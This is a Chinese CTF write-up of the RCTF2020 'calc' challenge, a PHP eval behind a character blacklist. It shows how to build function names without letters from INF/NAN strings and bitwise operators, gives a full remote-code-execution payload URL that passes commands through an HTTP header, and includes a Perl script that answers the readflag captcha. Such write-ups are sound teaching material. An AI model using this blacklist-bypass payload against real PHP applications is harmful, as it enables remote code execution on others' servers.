RCTF2020 calc writeup

咕了好久没写博客了,主要是懒

进去之后给了源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

看起来是要构造无字母的shell,然而过滤了$,之前的方法没法用了
过滤了异或,不过没有过滤&和|,可以用来构造新字符
在PHP中,两个数字使用.拼接,会被当做字符串处理并返回。例如:(1).(2)出来的就是字符串"12",然后可以用{}来取单个字符,例如(1).(2){0}就是1。
此外,可以通过1/0得到INF,0/0得到NAN,我们也可以把这些转成字符串类型,从而得到字母A I N F

(((1/0).(0)){0}) //I
(((1/0).(0)){1}) //N
(((1/0).(0)){2}) //F
(((0/0).(0)){1}) //A

然后可以通过&和|,以及数字构造新字符
写个脚本跑一下,可以获得这些字符:

0123456789INFAy~vqw:;{s<=}u>?HO@Gxpzr|tKMJBLDCE

因为php7可以动态执行函数,例如('phpinfo')(),且php中函数名大小写不敏感,所以可以利用构造字符串的方式来动态执行函数
构造system函数:

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1).(0)){0}){0})|(((1/0).(0)){0})).(((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((0/0).(0)){1})|(((0/0).(0)){0}))%26((((1/0).(0)){0})|((4).(0)){0}))) 
//systEM

然后想办法构造参数
尝试了一下没法构造出来_(如果有师傅能构造出来麻烦教我一下orz感谢hshui师傅,可以调用chr来拼orz),所以调用不了get_defined_vars来获得$_GET等数组
查看了一下phpinfo,发现是apache服务,所以可以用getallheaders(){123},然后在headers中添加123的方式获取命令
getallheaders函数:

(((((((1/0).(0)){2})|(((0/0).(0)){1})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((0/0).(0)){1}).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})%26(((1/0).(0)){1}))).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).((((1/0).(0)){2})%26((((1/0).(0)){0})|((4).(0)){0})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((2).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})))()))
//getallheaders

最终payload:

http://124.156.140.90:8081/calc.php?num=((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1).(0)){0}){0})|(((1/0).(0)){0})).(((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((0/0).(0)){1})|(((0/0).(0)){0}))%26((((1/0).(0)){0})|((4).(0)){0})))(((((((1/0).(0)){2})|(((0/0).(0)){1})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((0/0).(0)){1}).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})%26(((1/0).(0)){1}))).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).((((1/0).(0)){2})%26((((1/0).(0)){0})|((4).(0)){0})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((2).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})))()){123})

在headers中添加123: cmd

需要执行readflag来读取flag
执行发现是老朋友了:
Solve the easy challenge first (((((158843)-(-929656))+(-669362))+(-218485))-(595340)) input your answer: calculate error! input your answer: calculate error!
上perl脚本,写到tmp目录下

#!/usr/bin/env perl 
use warnings;
use strict;
use IPC::Open2;
chdir('/');
$| = 1;
my $pid = open2(\*out2, \*in2, './readflag') or die;

my $reply = <out2>;
print STDOUT $reply; #string: solve captcha..
$reply = <out2>;
print STDOUT $reply; #captcha formula

my $answer = eval($reply);
print STDOUT "answer: $answer\n"; 

print in2 " $answer "; #send it to process
# sleep(2);
in2->flush();

$reply = <out2>;
print $reply; #flag 😀
$reply = <out2>;
print $reply; #flag 😀

执行即可获得flag

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注